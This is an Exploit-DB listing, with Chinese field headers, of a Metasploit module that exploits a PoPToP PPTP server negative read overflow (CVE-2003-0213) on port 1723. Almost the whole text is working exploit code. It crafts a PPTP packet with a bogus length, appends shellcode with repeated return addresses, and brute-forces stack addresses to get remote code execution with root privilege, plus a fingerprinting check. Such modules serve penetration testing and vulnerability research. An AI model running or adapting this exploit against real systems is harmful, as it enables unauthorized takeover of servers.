标题: PoPToP - Negative Read Overflow (Metasploit) EDB-ID: 16845 CVE: 2003-0213 类型: REMOTE 平台: LINUX 发布日期: 2010-11-23 漏洞利用脚本: ##
# $Id: poptop_negative_read.rb 11114 2010-11-23 18:12:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Poptop Negative Read Overflow',
   'Description'    => %q{
     This is an exploit for the Poptop negative read overflow.  This will
    work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
    currently do not have a good way to detect Poptop versions.

    The server will by default only allow 4 concurrent manager processes
    (what we run our code in), so you could have a max of 4 shells at once.

    Using the current method of exploitation, our socket will be closed
    before we have the ability to run code, preventing the use of Findsock.
   },
   'Author'         => 'spoonm',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11114 $',
   'References'     =>
    [
     ['CVE', '2003-0213'],
     ['OSVDB', '3293'],
     ['URL',   'http://securityfocus.com/archive/1/317995'],
     ['URL',   'http://www.freewebs.com/blightninjas/'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     # Payload space is dynamically determined
     'MinNops'         => 16,
     'StackAdjustment' => -1088,
     'Compat'          =>
      {
       'ConnectionType' => '-find',
      }
    },
   'SaveRegisters'  => [ 'esp' ],
   'Platform'       => 'linux',
   'Arch'           => ARCH_X86,
   'Targets'        =>
    [
     ['Linux Bruteforce',
      { 'Bruteforce' =>
       {
        'Start'  => { 'Ret' => 0xbffffa00 },
        'Stop'   => { 'Ret' => 0xbffff000 },
        'Step'   => 0
       }
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 9 2003'))

  register_options(
   [
    Opt::RPORT(1723)
   ], self.class)

  register_advanced_options(
   [
    OptInt.new("PreReturnLength", [ true, "Space before we hit the return address.  Affects PayloadSpace.", 220 ]),
    OptInt.new("RetLength",       [ true, "Length of returns after payload.", 32 ]),
    OptInt.new("ExtraSpace",      [ true, "The exploit builds two protocol frames, the header frame and the control frame. ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data (these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
    OptString.new("Hostname",     [ false, "PPTP Packet hostname", '' ]),
    OptString.new("Vendor",       [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
   ], self.class)
 end

 # Dynamic payload space calculation
 def payload_space(explicit_target = nil)
  datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
 end

 def build_packet(length)
  [length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
   [1,0].pack('cc') +
   [0].pack('n') +
   [1,1,0,2600].pack('NNnn') +
   datastore['Hostname'].ljust(64, "\x00") +
   datastore['Vendor'].ljust(64, "\x00")
 end

 def check
  connect
  sock.put(build_packet(156))
  res = sock.get_once

  if res and res =~ /MoretonBay/
   return CheckCode::Detected
  end

  return CheckCode::Safe
 end

 def brute_exploit(addrs)
  connect

  print_status("Trying #{"%.8x" % addrs['Ret']}...")

  # Construct the evil length packet
  packet =
   build_packet(1) +
   payload.encoded +
   ([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))

  sock.put(packet)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16845